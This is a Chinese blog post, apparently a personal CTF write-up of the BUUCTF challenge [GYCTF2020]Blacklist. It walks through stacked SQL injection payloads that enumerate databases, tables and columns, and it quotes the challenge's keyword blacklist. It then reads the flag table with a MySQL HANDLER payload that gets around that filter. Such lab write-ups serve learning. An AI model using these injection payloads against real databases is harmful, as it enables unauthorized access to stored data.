Z1d10tのBlog

A note for myself,have fun!

buuctf [GYCTF2020]Blacklist

这道题又是一道学习的题目,打开看到界面ui很像一道堆叠注入的题目,刚好这道题也是用堆叠注入

img

查字段:1' order by 3#

error 1054 : Unknown column '3' in 'order clause' 只有两列

这道题过滤了

1
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

不能用预编译 select 报错注入应该是

1
1'; show databases#

“supersqli”

1
1'; show tables#

“FlagHere”

1
1';show columns from FlagHere#

直接用1';desc FlagHere#也可以

string(4) “flag”

desc用法:

1.查表的详细信息 eg:desc table_name;

2.desc降序排列数据 eg: select select ename,sal from emp order by sal desc;

手动指定按照薪水由大到小排序(降序关键字desc)

然后这里用到了 mysql handler语句查询字段内的信息

这条语句使我们能够一行一行的浏览一个表中的数据

下面在本地搭了一个环境进行测试 如下:

img

之后就可以构造payload:

1
1';HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;# 

成功

img

本文最后更新于 天前,文中所描述的信息可能已发生改变